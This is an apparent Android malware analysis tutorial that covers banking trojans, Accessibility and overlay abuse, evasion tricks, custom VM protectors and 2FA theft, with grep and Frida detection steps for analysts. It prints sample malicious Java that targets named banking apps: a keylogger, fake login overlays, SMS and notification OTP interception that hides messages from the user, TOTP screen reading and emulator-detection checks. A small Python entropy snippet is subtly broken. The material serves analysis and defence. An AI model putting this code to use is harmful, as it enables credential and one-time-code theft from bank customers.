Legend:
[MALWARE]= Malware behavior |[STATIC]= Static analysis |[DYNAMIC]= Dynamic analysis |[PERM]= Permission abuse |[EVASION]= Detection evasion |[VM]= Custom VM/obfuscation |[2FA]= 2FA exploitation |[FRIDA]= Runtime analysis
1. Types of Android Malware
What it means: Android malware is classified by its primary malicious behavior. Real-world samples often combine multiple categories — a banking trojan may also be a spyware, use an overlay attack, and have ransomware capabilities as a secondary payload.
1.1 Malware Classification
┌──────────────────────────────────────────────────────────────────────┐
│ Type Behavior Real Example │
│ ────────────────────────────────────────────────────────────────── │
│ Banking Trojan Overlay attacks on banking apps Anubis, Cerberus │
│ Steal credentials + 2FA codes TrickMo, Sharkbot │
│ │
│ Spyware Silent data collection Pegasus, FlexiSpy │
│ Location, SMS, contacts, calls SpyNote, AhMyth │
│ │
│ Ransomware Encrypt files + demand ransom Simplocker │
│ Lock screen + demand payment DoubleLocker │
│ │
│ Stalkerware Track victim's location Hoverwatch │
│ Monitor messages, calls mSpy │
│ │
│ Adware Display aggressive ads HiddenAds │
│ Click fraud, subscription abuse GriftHorse │
│ │
│ RAT Full remote control SpyNote v3 │
│ (Remote Access) Camera, mic, screen control AndroRAT │
│ │
│ Dropper Downloads + installs payload Necro │
│ Evades detection via staging Goldoson │
│ │
│ Clicker Auto-click ads / subscriptions Joker │
│ WAP billing fraud MoqHao │
│ │
│ Cryptominer Mine cryptocurrency silently Loapi │
│ Drains battery + CPU CoinMiner │
│ │
│ Wiper Destroy data / brick device AcidRain │
│ Nation-state attacks │
└──────────────────────────────────────────────────────────────────────┘
1.2 Banking Trojan Deep Dive (Most Common)
Banking Trojan Attack Chain:
┌─────────────────────────────────────────────────────────────────┐
│ 1. Distribution │
│ Fake app on Play Store / 3rd party store │
│ Phishing SMS (smishing) with APK download link │
│ Malicious app update injected via dropper │
│ │
│ 2. Installation & Permissions │
│ Requests Accessibility Service permission │
│ Requests BIND_NOTIFICATION_LISTENER_SERVICE │
│ Requests READ_SMS / RECEIVE_SMS (OTP interception) │
│ │
│ 3. Overlay Attack │
│ Detects target banking app in foreground │
│ Draws fake login UI on top (TYPE_APPLICATION_OVERLAY) │
│ Captures credentials entered in fake UI │
│ │
│ 4. 2FA Bypass │
│ SMS OTP intercepted via SMS receiver │
│ Push notification 2FA captured via NotificationListener │
│ TOTP apps read via Accessibility Service │
│ │
│ 5. Exfiltration │
│ C2 communication: HTTP/HTTPS, Telegram bot, Firebase │
│ Stolen: credentials, OTPs, account balances, contacts │
└─────────────────────────────────────────────────────────────────┘
1.3 Malware Distribution Vectors
Distribution Method Detection Avoidance
───────────────────────────────────────────────────────────────────
Play Store (initial clean) Pass Google Play Protect review
Dropper + delayed payload → Download malicious DEX/APK later
Fake Adobe Flash / update Social engineering, urgency
APK side-loading (smishing) Bypass Play Store entirely
Repackaged legitimate app Inject malicious code into real app
Supply chain (SDK injection) Malicious ad SDK, analytics SDK
QR code → malicious APK Bypasses URL filters
2. Malware Analysis Methodology
What it means: Malware analysis follows a structured progression — start safe and static, escalate to dynamic only in an isolated environment. Never analyze live malware on a networked production machine. Always use isolated, snapshottable environments.
2.1 Safe Analysis Environment Setup
# ─── Isolated analysis environment ───
# Use dedicated rooted emulator (NOT your main device)
# Snapshot BEFORE running malware → restore after analysis
# Recommended emulator: Android Studio AVD (x86_64, API 30)
emulator -avd MalwareAnalysis -writable-system -no-snapshot-load
# Save clean snapshot
adb emu avd snapshot save clean_state
# After analysis → restore
adb emu avd snapshot load clean_state
# ─── Network isolation ───
# Option 1: Host-only network (no internet to C2)
# Option 2: Fake C2 via INetSim / FakeDNS
# → intercepts all DNS + HTTP/S to analyze C2 comms
# INetSim (Linux) for C2 simulation:
sudo apt install inetsim
sudo inetsim --faketime 0
# Option 3: Monitor only (allow connections to study C2 protocol)
# Burp Suite + Wireshark on host machine
# ─── ADB + Frida ready ───
adb root && adb remount
adb push frida-server /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell "/data/local/tmp/frida-server &"
2.2 Analysis Phases
Phase 1: TRIAGE (5 minutes)
├── Hash: sha256sum sample.apk
├── VirusTotal: upload hash → check existing detections
├── apkid: identify packer/obfuscator/framework
├── strings: quick look for C2 URLs, suspicious strings
└── Manifest: permissions + exported components
Phase 2: STATIC ANALYSIS (deep)
├── jadx-gui: full decompile → code review
├── Manifest: suspicious permissions, receivers
├── Assets: additional DEX, encrypted payloads
├── Native libs: strings + Ghidra analysis
└── Certificate: self-signed? stolen cert?
Phase 3: DYNAMIC ANALYSIS
├── Install on isolated emulator
├── Frida: hook suspicious methods
├── Logcat: capture all logs + decrypted strings
├── Burp: intercept C2 communication
├── Strace / ltrace: syscall monitoring
└── Network: Wireshark capture
Phase 4: REPORTING
├── IOCs (Indicators of Compromise)
├── C2 infrastructure
├── MITRE ATT&CK Mobile mapping
└── Capabilities summary
3. Exploiting Accessibility Service Permission
What it means: The Android Accessibility Service was designed for disabled users — it gives an app permission to observe all UI events, re ad screen content, perform clicks, and navigate on behalf of the user. Malware abuses this to achieve keylogging, auto-clicking, stealing OTPs from screen, and automated fraudulent transactions — all without rooting the device.
3.1 What Accessibility Service Grants
android.permission.BIND_ACCESSIBILITY_SERVICE capabilities:
┌─────────────────────────────────────────────────────────────────┐
│ ✔ Read ALL text on screen (any app, including banking apps) │
│ ✔ Observe all UI events (button clicks, text input) │
│ ✔ Simulate taps / swipes / gestures │
│ ✔ Perform back / home / recents navigation │
│ ✔ Read window content (passwords if not obfuscated) │
│ ✔ Dismiss dialogs (auto-accept permission prompts!) │
│ ✔ Read notifications │
│ ✔ Take screenshots (API 28+) │
└─────────────────────────────────────────────────────────────────┘`
No root needed — user must manually grant once
Malware tricks user: "Enable Accessibility for better performance"
Once granted: attacker has FULL control of UI
3.2 Accessibility Malware Implementation
// Malicious AccessibilityService — intercepts everything
public class MaliciousAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int eventType = event.getEventType();
String packageName = (String) event.getPackageName();
// ─── Monitor target banking apps ───
if (packageName != null &&
(packageName.equals("com.chase.sig.android") ||
packageName.equals("com.wellsfargo.mobile.app") ||
packageName.equals("com.bofa.android") ||
packageName.equals("in.org.npci.upiapp"))) { // BHIM UPI
// ─── Keylogging: capture typed text ───
if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
List<CharSequence> text = event.getText();
for (CharSequence t : text) {
sendToC2("KEYLOG [" + packageName + "]: " + t);
}
}
// ─── Screen content reading ───
if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
AccessibilityNodeInfo rootNode = getRootInActiveWindow();
if (rootNode != null) {
String screenText = extractAllText(rootNode);
sendToC2("SCREEN [" + packageName + "]: " + screenText);
}
}
}
// ─── Auto-grant permissions (dismiss dialogs) ───
if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
AccessibilityNodeInfo root = getRootInActiveWindow();
if (root != null) {
// Find "Allow" button in permission dialogs
List<AccessibilityNodeInfo> allowBtns =
root.findAccessibilityNodeInfosByText("Allow");
for (AccessibilityNodeInfo btn : allowBtns) {
btn.performAction(AccessibilityNodeInfo.ACTION_CLICK);
// Auto-clicks "Allow" → grants any permission without user!
}
}
}
// ─── Automated banking transaction ───
// Can perform transfers by simulating taps on banking app UI!
}
// ─── Read OTP from SMS app screen ───
private void extractOTP(AccessibilityNodeInfo root) {
// Find OTP field in SMS app
List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByViewId(
"com.google.android.apps.messaging:id/message_text");
for (AccessibilityNodeInfo node : nodes) {
String text = node.getText().toString();
if (text.matches(".*\\d{4,8}.*")) { // contains 4-8 digits
sendToC2("OTP_INTERCEPTED: " + text);
}
}
}
@Override
public void onInterrupt() {}
@Override
protected void onServiceConnected() {
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK; // all events!
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC;
info.notificationTimeout = 0;
info.flags = AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS |
AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY |
AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
setServiceInfo(info);
}
}
3.3 Accessibility in AndroidManifest.xml
<!-- How malware declares Accessibility Service -->
<service
android:name=".MaliciousAccessibilityService"
android:exported="false"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_config"/>
</service>
<!-- accessibility_config.xml — malware requests maximum scope -->
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:accessibilityFlags="flagReportViewIds|flagRetrieveInteractiveWindows"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="0"
android:packageNames="" ← empty = monitor ALL packages!
android:settingsActivity=".MainActivity"/>
3.4 Detecting Accessibility Abuse During Analysis
# ─── Static: check manifest ───
grep -n "BIND_ACCESSIBILITY_SERVICE\|AccessibilityService" decompiled/AndroidManifest.xml
grep -n "AccessibilityService" decompiled/res/xml/*.xml
# ─── Static: check scope ───
grep -n "typeAllMask\|packageNames=\"\"" decompiled/res/xml/accessibility_config.xml
# Empty packageNames = monitors ALL apps → highly suspicious!
# ─── Static: find what it reads ───
grep -rn "getSource\|getRootInActiveWindow\|findAccessibilityNodeInfosByText" java_out/
grep -rn "TYPE_VIEW_TEXT_CHANGED\|getText()" java_out/
grep -rn "performAction.*ACTION_CLICK\|performGesture" java_out/
# ─── Dynamic: monitor events ───
adb logcat | grep -i "accessibility\|AccessibilityEvent"
# ─── Frida: hook the service ───
// Frida: hook onAccessibilityEvent to see what malware captures
Java.perform(function() {
var AccessService = Java.use("com.malware.sample.MaliciousAccessibilityService");
AccessService.onAccessibilityEvent.implementation = function(event) {
var pkg = event.getPackageName();
var type = event.getEventType();
var text = event.getText();
console.log("[A11Y] pkg=" + pkg + " type=" + type + " text=" + text);
this.onAccessibilityEvent(event);
};
});
3.5 Known Real-World Samples Using Accessibility
Sample Year Capability
───────────────────────────────────────────────────────────────
Anubis 2018 Overlay + keylogging via Accessibility
Cerberus 2019 Overlay + screen reading + 2FA bypass
Teabot 2021 Accessibility keylogger + 40+ banks
BRATA 2022 Auto-transfer + factory wipe via A11y
SharkBot 2022 Automated transfers via Accessibility
TrickMo 2024 OTP interception via Accessibility
4. Exploiting System Alert Window Permission
What it means: SYSTEM_ALERT_WINDOW (also called Draw Over Other Apps) allows an
app to draw views on top of ALL other apps — including banking apps, Google Play, and
system dialogs. Malware uses this for overlay attacks: displaying fake login screens
over legitimate banking apps to steal credentials.
4.1 What SYSTEM_ALERT_WINDOW Grants
android.permission.SYSTEM_ALERT_WINDOW:
┌─────────────────────────────────────────────────────────────────┐
│ ✔ Draw views on top of ANY app (system-wide overlay) │
│ ✔ Fake login screens over banking/crypto apps │
│ ✔ Fake Google Play update screens (install more malware) │
│ ✔ Fake permission dialogs (overlay real ones) │
│ ✔ Phishing overlays (steal credentials at point of entry) │
│ ✔ Clickjacking: invisible overlay captures real taps │
└─────────────────────────────────────────────────────────────────┘
Special grant:
Android < 6.0: automatically granted at install
Android 6+: user grants via Settings → Apps → Draw over other apps
Android 10+: limited to specific scenarios
Malware tricks user: "Required for optimal performance"
4.2 Overlay Attack Implementation
// Malicious overlay service
public class OverlayService extends Service {
private WindowManager windowManager;
private View overlayView;
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
String targetPkg = intent.getStringExtra("target");
showOverlay(targetPkg);
return START_STICKY;
}
private void showOverlay(String targetPackage) {
windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
// Inflate fake banking login layout
overlayView = LayoutInflater.from(this)
.inflate(R.layout.fake_bank_login, null);
// ─── Window parameters ───
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
// TYPE_APPLICATION_OVERLAY = draws over everything (API 26+)
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
// Flags: not focusable by default but can receive input
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL |
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
PixelFormat.TRANSLUCENT
);
windowManager.addView(overlayView, params);
// ─── Capture credentials from fake form ───
Button loginBtn = overlayView.findViewById(R.id.login_button);
EditText usernameField = overlayView.findViewById(R.id.username);
EditText passwordField = overlayView.findViewById(R.id.password);
loginBtn.setOnClickListener(v -> {
String user = usernameField.getText().toString();
String pass = passwordField.getText().toString();
// Send stolen credentials to C2
sendToC2("OVERLAY_CREDS [" + targetPackage + "] " +
"user=" + user + " pass=" + pass);
// Remove overlay + pass through to real app
windowManager.removeView(overlayView);
});
}
// ─── Trigger overlay when target app opens ───
// Monitored via Accessibility Service (foreground app detection)
public static void onForegroundAppChanged(String packageName) {
List<String> TARGETS = Arrays.asList(
"com.chase.sig.android", // Chase Bank
"com.coinbase.android", // Coinbase
"in.org.npci.upiapp", // BHIM UPI
"net.one97.paytm" // Paytm
);
if (TARGETS.contains(packageName)) {
// Start overlay service targeting this bank
Intent i = new Intent(context, OverlayService.class);
i.putExtra("target", packageName);
context.startService(i);
}
}
}
4.3 Detecting Overlay Attacks During Analysis
# ─── Static: check manifest ───
grep -n "SYSTEM_ALERT_WINDOW" decompiled/AndroidManifest.xml
# ─── Static: find overlay window creation ───
grep -rn "TYPE_APPLICATION_OVERLAY\|TYPE_SYSTEM_ALERT\|TYPE_PHONE" java_out/
grep -rn "WindowManager.LayoutParams\|addView.*params" java_out/
grep -rn "OverlayService\|FloatingService\|DrawOverService" java_out/
# ─── Static: find overlay trigger (foreground detection) ───
grep -rn "getRunningTasks\|getForegroundApp\|MOVE_TO_FOREGROUND" java_out/
grep -rn "UsageStatsManager\|queryUsageStats" java_out/
# UsageStatsManager = modern way to detect foreground app → overlay trigger!
# ─── Dynamic: watch for overlay windows ───
adb shell dumpsys window | grep -i "overlay\|TYPE_APPLICATION_OVERLAY"
# ─── Frida: hook WindowManager.addView ───
// Frida: detect when overlay is added
Java.perform(function() {
var WindowManager = Java.use("android.view.WindowManagerImpl");
WindowManager.addView.implementation = function(view, params) {
var p = Java.cast(params, Java.use("android.view.WindowManager$LayoutParams"));
console.log("[OVERLAY] addView called! type=" + p.type.value);
console.log("[OVERLAY] view class: " + view.$className);
// Log the view hierarchy to see fake UI
this.addView(view, params);
};
});
5. Analysing Detection Evasion Techniques
What it means: Modern Android malware uses sophisticated evasion techniques to avoid Google Play Protect, on-device AV, and security researchers. Understanding these techniques lets you unpack and analyze what the malware actually does beneath its protective layers.
5.1 Common Evasion Techniques
Technique How It Works Bypass
───────────────────────────────────────────────────────────────────────────────
Dynamic DEX loading Main payload not in APK's classes.dex Find + extract DEX
Encrypted payload Payload encrypted in assets/ Find decrypt key
Native code obfuscation Logic moved to .so (harder to RE) Ghidra + Frida
String encryption All strings encrypted at compile time Frida hook decrypt
Reflection Classes loaded via reflection Frida trace
Dropper pattern Clean APK → downloads payload later MITM the download
Time bombs Waits N days before activating Frida: patch time
Anti-analysis checks Detect emulator/debugger → hide Frida: return false
Code flow obfuscation Fake branches, dead code, junk Manual trace
Packed APK Jiagu, Bangcle, 360 packer Unpack first
5.2 Dynamic DEX Loading Detection
// Malware pattern: payload DEX loaded at runtime (not in classes.dex!)
// Main APK is "clean" → passes Play Protect scan
// Loader code pattern:
File dexFile = new File(getDir("dex", MODE_PRIVATE), "payload.dex");
DexClassLoader loader = new DexClassLoader(
dexFile.getAbsolutePath(), // ← DEX from private storage
getDir("opt", MODE_PRIVATE).getAbsolutePath(),
null,
getClassLoader()
);
Class<?> clazz = loader.loadClass("com.malware.payload.Bot");
Method method = clazz.getMethod("start", Context.class);
method.invoke(null, this); // ← execute payload!
# ─── Detecting dynamic loading ───
grep -rn "DexClassLoader\|PathClassLoader\|BaseDexClassLoader" java_out/
grep -rn "loadClass\|forName" java_out/ | grep -v "import"
grep -rn "getDeclaredMethod\|getMethod\|invoke" java_out/
# ─── Find encrypted payload in assets ───
find decompiled/assets/ -type f
file decompiled/assets/* # check file types — look for high entropy
# High entropy file in assets = likely encrypted payload!
# Measure entropy (high entropy = encrypted/compressed):
python3 -c "
import math, collections, sys
data = open(sys.argv, 'rb').read()[1]
counts = collections.Counter(data)
entropy = -sum(c/len(data)*math.log2(c/len(data)) for c in counts.values())
print(f'Entropy: {entropy:.2f} / 8.0')
# > 7.5 = likely encrypted/compressed
" decompiled/assets/suspicious_file
// Frida: intercept DexClassLoader → dump the loaded DEX
Java.perform(function() {
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.implementation = function(dexPath, optimizedDir, libPath, parent) {
console.log("[DEX LOAD] Loading DEX: " + dexPath);
// Read the DEX bytes before loading
var File = Java.use("java.io.File");
var f = File.$new(dexPath);
if (f.exists()) {
var FileInputStream = Java.use("java.io.FileInputStream");
var fis = FileInputStream.$new(f);
var size = f.length();
var buf = Java.array("byte", new Array(size).fill(0));
fis.read(buf);
fis.close();
// Write dumped DEX to /sdcard/
var FileOutputStream = Java.use("java.io.FileOutputStream");
var fos = FileOutputStream.$new("/sdcard/dumped_payload.dex");
fos.write(buf);
fos.close();
console.log("[DEX LOAD] Dumped to /sdcard/dumped_payload.dex");
}
return this.$init(dexPath, optimizedDir, libPath, parent);
};
});
# Pull dumped DEX from device
adb pull /sdcard/dumped_payload.dex .
# Analyze dumped DEX
jadx dumped_payload.dex -d payload_java/
# Now decompile and analyze the actual malicious code!
5.3 Anti-Emulator / Anti-Analysis Detection
// Common anti-analysis checks malware performs:
// 1. Emulator detection
boolean isEmulator() {
return Build.FINGERPRINT.startsWith("generic") ||
Build.MODEL.contains("Emulator") ||
Build.MODEL.contains("Android SDK") ||
Build.MANUFACTURER.contains("Genymotion") ||
Build.HARDWARE.equals("goldfish") ||
Build.HARDWARE.equals("ranchu") ||
SystemProperties.get("ro.kernel.qemu").equals("1");
}
// 2. Debugger detection
boolean isBeingDebugged() {
return android.os.Debug.isDebuggerConnected() ||
android.os.Debug.waitingForDebugger();
}
// 3. Frida detection
boolean isFridaPresent() {
// Check for frida-server port
try {
Socket s = new Socket("127.0.0.1", 27042);
s.close();
return true; // frida-server running!
} catch(Exception e) { return false; }
}
// 4. AV app detection
boolean isAVPresent() {
String[] avPackages = {"com.lookout", "com.avast.android.mobilesecurity",
"com.kaspersky.kes.phone", "com.symantec.mobilesecurity"};
for (String pkg : avPackages) {
try { pm.getPackageInfo(pkg, 0); return true; } catch(Exception e) {}
}
return false;
}
// 5. Timing-based detection (sandbox timeout)
long start = System.currentTimeMillis();
Thread.sleep(5 * 60 * 1000); // sleep 5 minutes
// Sandboxes have short timeout → malware waits them out!
long elapsed = System.currentTimeMillis() - start;
if (elapsed < 4 * 60 * 1000) { return; } // sandbox detected!
# ─── Find anti-analysis checks in code ───
grep -rn "isDebuggerConnected\|waitingForDebugger" java_out/
grep -rn "Build.FINGERPRINT\|Build.MODEL\|Build.HARDWARE" java_out/ | grep -i "emulator\|generic\|goldfish"
grep -rn "getRunningServices\|getInstalledPackages" java_out/
grep -rn "Thread.sleep\|SystemClock.sleep" java_out/ | grep -v "import"
grep -rn "27042\|frida" java_out/ -i
# ─── Frida: bypass all anti-analysis ───
// Frida: bypass anti-analysis checks
Java.perform(function() {
// ─── Bypass emulator detection ───
var Build = Java.use("android.os.Build");
Build.FINGERPRINT.value = "google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys";
Build.MODEL.value = "Pixel 2";
Build.MANUFACTURER.value = "Google";
Build.HARDWARE.value = "walleye";
Build.PRODUCT.value = "walleye";
Build.BRAND.value = "google";
// ─── Bypass debugger detection ───
var Debug = Java.use("android.os.Debug");
Debug.isDebuggerConnected.implementation = function() { return false; };
// ─── Bypass sleep/timing ───
var Thread = Java.use("java.lang.Thread");
Thread.sleep.overload("long").implementation = function(ms) {
if (ms > 5000) { // skip sleeps > 5 seconds
console.log("[BYPASS] Skipping sleep of " + ms + "ms");
return;
}
this.sleep(ms);
};
// ─── Bypass socket-based Frida detection ───
var Socket = Java.use("java.net.Socket");
Socket.$init.overload("java.lang.String", "int").implementation = function(host, port) {
if (port === 27042) {
console.log("[BYPASS] Blocking Frida port check");
throw Java.use("java.net.ConnectException").$new("Connection refused");
}
return this.$init(host, port);
};
});
5.4 String Encryption Analysis
# ─── Identify string encryption ───
# Pattern in smali: instead of const-string v0, "plaintext"
# You see: invoke-static {v0}, Lcom/malware/e;->a(Ljava/lang/String;)Ljava/lang/String;
# → all strings passed through a decryption wrapper!
grep -rn "invoke-static.*->a(Ljava/lang/String;)Ljava/lang/String;" smali/
# If this appears everywhere → string encryption!
# ─── Frida: hook decryption function ───
# Find the decrypt method (e.g., class e, method a) in jadx
# Hook it → print all decrypted strings
// Hook string decryption method → print all decrypted strings in real-time
Java.perform(function() {
// Replace with actual obfuscated class/method names from jadx
var DecryptClass = Java.use("com.malware.e");
DecryptClass.a.overload("java.lang.String").implementation = function(encrypted) {
var decrypted = this.a(encrypted);
console.log("[STRING] " + encrypted.substring(0,20) + " → " + decrypted);
return decrypted;
};
});
// Run → all malware strings printed → C2 URLs, targets, commands!
6. Unraveling Embedded Custom VM
What it means: Some advanced Android malware (and commercial protectors like DexGuard) implements its own custom bytecode interpreter — a "Virtual Machine" embedded inside the malware. Instead of running Dalvik bytecode, the protected code runs a proprietary bytecode that only the embedded VM understands. This defeats standard DEX decompilation entirely.
6.1 What is a Custom VM
Standard Android execution:
.java → .dex (Dalvik bytecode) → ART/Dalvik VM → execute
Custom VM execution:
.java → custom_bytecode (proprietary format) → embedded interpreter → execute
↑ jadx can't read this! ↑
Structure inside APK:
assets/
├── vms.dat ← encrypted custom bytecode
├── opcodes.bin ← opcode mapping table
└── vm_config.json ← VM configuration
classes.dex
└── VirtualMachine.class ← the interpreter itself (in standard DEX)
6.2 Identifying Custom VM in Samples
# ─── Signs of custom VM ───
# 1. Large opaque binary in assets
file decompiled/assets/*
# → decompiled/assets/vms.dat: data ← unknown format!
# 2. Interpreter class in jadx
grep -rn "interpret\|dispatch\|opcode\|bytecode\|execute" java_out/ -i
# → Find class with switch statement on byte values (opcode dispatch!)
# 3. Main code missing from DEX
# jadx shows only a small wrapper class + the VM interpreter
# All the interesting logic is "missing" → it's in the bytecode file!
# 4. High entropy asset file
python3 entropy_check.py decompiled/assets/vms.dat
# → Entropy: 7.8/8.0 → encrypted/compressed bytecode
# ─── Identifying the interpreter ───
grep -rn "switch.*opcode\|case 0x" java_out/ | head -50
# Large switch statement with 50-200+ cases = VM dispatcher!
6.3 Analysing Custom VM — Strategy
Step 1: Find the bytecode file
→ Large binary blob in assets/
→ Referenced by interpreter class
Step 2: Find the interpreter (VM engine)
→ Class with large switch/dispatch loop
→ Maps byte values to operations
Step 3: Map the opcode table
→ Each case in switch = one instruction
→ e.g., case 0x01 = LOAD, case 0x02 = ADD, etc.
Step 4: Write a disassembler
→ Parse bytecode format
→ Translate opcodes to readable instructions
Step 5: Frida-based approach (easier!)
→ Hook individual opcode handlers
→ Trace execution flow without full disassembly
// Typical VM interpreter pattern (identified in jadx):
public Object execute(byte[] bytecode, Object[] vars) {
int ip = 0; // instruction pointer
while (ip < bytecode.length) {
int opcode = bytecode[ip++] & 0xFF;
switch (opcode) {
case 0x01: // LOAD_CONST
int idx = bytecode[ip++];
stack.push(constants[idx]);
break;
case 0x02: // ADD
Object b = stack.pop();
Object a = stack.pop();
stack.push(add(a, b));
break;
case 0x10: // CALL_NATIVE
int methodId = bytecode[ip++];
callNativeMethod(methodId, stack); // calls real Java!
break;
case 0x20: // DECRYPT_STRING
String enc = (String) stack.pop();
stack.push(decrypt(enc)); // ← hook THIS!
break;
// ... 100+ more opcodes
}
}
return stack.pop();
}
// Frida: hook VM opcode handlers → trace malware execution
Java.perform(function() {
var VM = Java.use("com.malware.vm.VirtualMachine");
// Hook the entire dispatch loop
VM.execute.implementation = function(bytecode, vars) {
console.log("[VM] execute() called with " + bytecode.length + " bytes");
var result = this.execute(bytecode, vars);
console.log("[VM] execute() returned: " + result);
return result;
};
// Hook CALL_NATIVE opcode handler → see what Java methods malware calls
VM.callNativeMethod.implementation = function(methodId, stack) {
console.log("[VM_NATIVE] Calling method ID: " + methodId);
return this.callNativeMethod(methodId, stack);
};
// Hook string decryption inside VM
VM.decrypt.implementation = function(encrypted) {
var decrypted = this.decrypt(encrypted);
console.log("[VM_STRING] " + encrypted + " → " + decrypted);
return decrypted;
};
});
6.4 Commercial VM Protectors
Protector Detection Bypass Approach
───────────────────────────────────────────────────────────────────
DexGuard VM apkid → "DexGuard" Frida trace + deobf
Virbox Large binary in assets Memory dump after load
Jiagu (360) apkid → "jiagu" Unpack with frida
Bangcle apkid → "bangcle/secneo" Unpack + dump DEX
ApkProtect Unusual DEX header Memory dump
LIAPP Native SO + custom loader Frida + dump
Universal memory dump approach (dump after unpack):
// Memory dump approach: after VM unpacks/decrypts → dump all loaded classes
setTimeout(function() {
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(name) {
if (name.startsWith("com.malware") || name.startsWith("com.target")) {
console.log("[CLASS] " + name);
}
},
onComplete: function() {}
});
});
}, 10000); // wait 10s for VM to initialize + decrypt
7. Uncovering 2FA Token Exploitation
What it means: Modern banking malware specializes in bypassing 2FA — the last line of defence after stealing credentials. Android's permission model exposes multiple vectors for intercepting OTPs: SMS-based codes, push notification OTPs, TOTP app codes, and even hardware token backups via Accessibility Services.
7.1 2FA Attack Vectors on Android
2FA Type Android Attack Vector Permission Needed
──────────────────────────────────────────────────────────────────────────────────
SMS OTP READ_SMS / RECEIVE_SMS receiver READ_SMS
Notification listener (Android 10+) NOTIFICATION_ACCESS
Accessibility → read SMS app screen ACCESSIBILITY
Push notification OTP NotificationListenerService NOTIFICATION_ACCESS
Accessibility → read notification content ACCESSIBILITY
TOTP app (Authy/GA) Screen reading via Accessibility ACCESSIBILITY
Backup file theft (if accessible) Storage
App clone via accessibility + screenshot ACCESSIBILITY
Email OTP Read email via ContentProvider READ_CONTACTS + access
Accessibility → read email app ACCESSIBILITY
Hardware token Cannot be intercepted (most secure) N/A
7.2 SMS OTP Interception
// Method 1: BroadcastReceiver for SMS (works pre-Android 10)
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
Bundle bundle = intent.getExtras();
SmsMessage[] messages = (SmsMessage[]) bundle.get("pdus");
for (SmsMessage sms : messages) {
String sender = sms.getDisplayOriginatingAddress();
String body = sms.getDisplayMessageBody();
// Look for OTP patterns (4-8 digit codes)
if (body.matches(".*\\b\\d{4,8}\\b.*") ||
body.toLowerCase().contains("otp") ||
body.toLowerCase().contains("verification code")) {
sendToC2("SMS_OTP from=" + sender + " body=" + body);
// abortBroadcast() → hides SMS from user!
abortBroadcast();
}
}
}
}
}
// AndroidManifest.xml:
// <receiver android:name=".SMSReceiver">
// <intent-filter android:priority="999"> ← highest priority = first!
// <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
// </intent-filter>
// </receiver>
// Permissions: READ_SMS + RECEIVE_SMS
// Method 2: NotificationListenerService (Android 10+ — no READ_SMS needed!)
public class NotifListener extends NotificationListenerService {
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
String pkg = sbn.getPackageName();
Notification notif = sbn.getNotification();
CharSequence text = notif.extras.getCharSequence(Notification.EXTRA_TEXT);
// Target: bank SMS apps, banking apps, authenticator apps
String[] targets = {
"com.google.android.apps.messaging", // Google Messages
"com.samsung.android.messaging", // Samsung Messages
"com.google.android.gm", // Gmail
};
for (String t : targets) {
if (pkg.equals(t) && text != null) {
if (text.toString().matches(".*\\b\\d{4,8}\\b.*")) {
sendToC2("NOTIF_OTP pkg=" + pkg + " text=" + text);
// Dismiss notification → user doesn't see OTP!
cancelNotification(sbn.getKey());
}
}
}
}
}
7.3 TOTP App Code Theft via Accessibility
// Method: Open target TOTP app via Intent → read code via Accessibility
void stealTOTPCode(Context ctx) {
// 1. Launch Google Authenticator
Intent launchGA = ctx.getPackageManager()
.getLaunchIntentForPackage("com.google.android.apps.authenticator2");
ctx.startActivity(launchGA);
// 2. Accessibility Service reads the displayed TOTP code
// (In onAccessibilityEvent → TYPE_WINDOW_CONTENT_CHANGED)
// → finds 6-digit codes displayed on screen
// → reads them before they expire (30s window)
}
// In AccessibilityService.onAccessibilityEvent:
void readTOTPFromScreen(AccessibilityNodeInfo root) {
// Find all text nodes
List<AccessibilityNodeInfo> allNodes = getAllNodes(root);
for (AccessibilityNodeInfo node : allNodes) {
if (node.getText() != null) {
String text = node.getText().toString().replaceAll("\\s", "");
// 6-digit TOTP code pattern
if (text.matches("\\d{6}")) {
sendToC2("TOTP_CODE: " + text +
" app=" + root.getPackageName());
}
}
}
}
7.4 Detecting 2FA Exploitation During Analysis
# ─── Static: check for 2FA interception ───
# SMS interception
grep -rn "android.provider.Telephony.SMS_RECEIVED" decompiled/AndroidManifest.xml
grep -rn "READ_SMS\|RECEIVE_SMS" decompiled/AndroidManifest.xml
grep -rn "abortBroadcast\|SmsMessage" java_out/
# Notification listening
grep -rn "BIND_NOTIFICATION_LISTENER_SERVICE" decompiled/AndroidManifest.xml
grep -rn "NotificationListenerService\|onNotificationPosted" java_out/
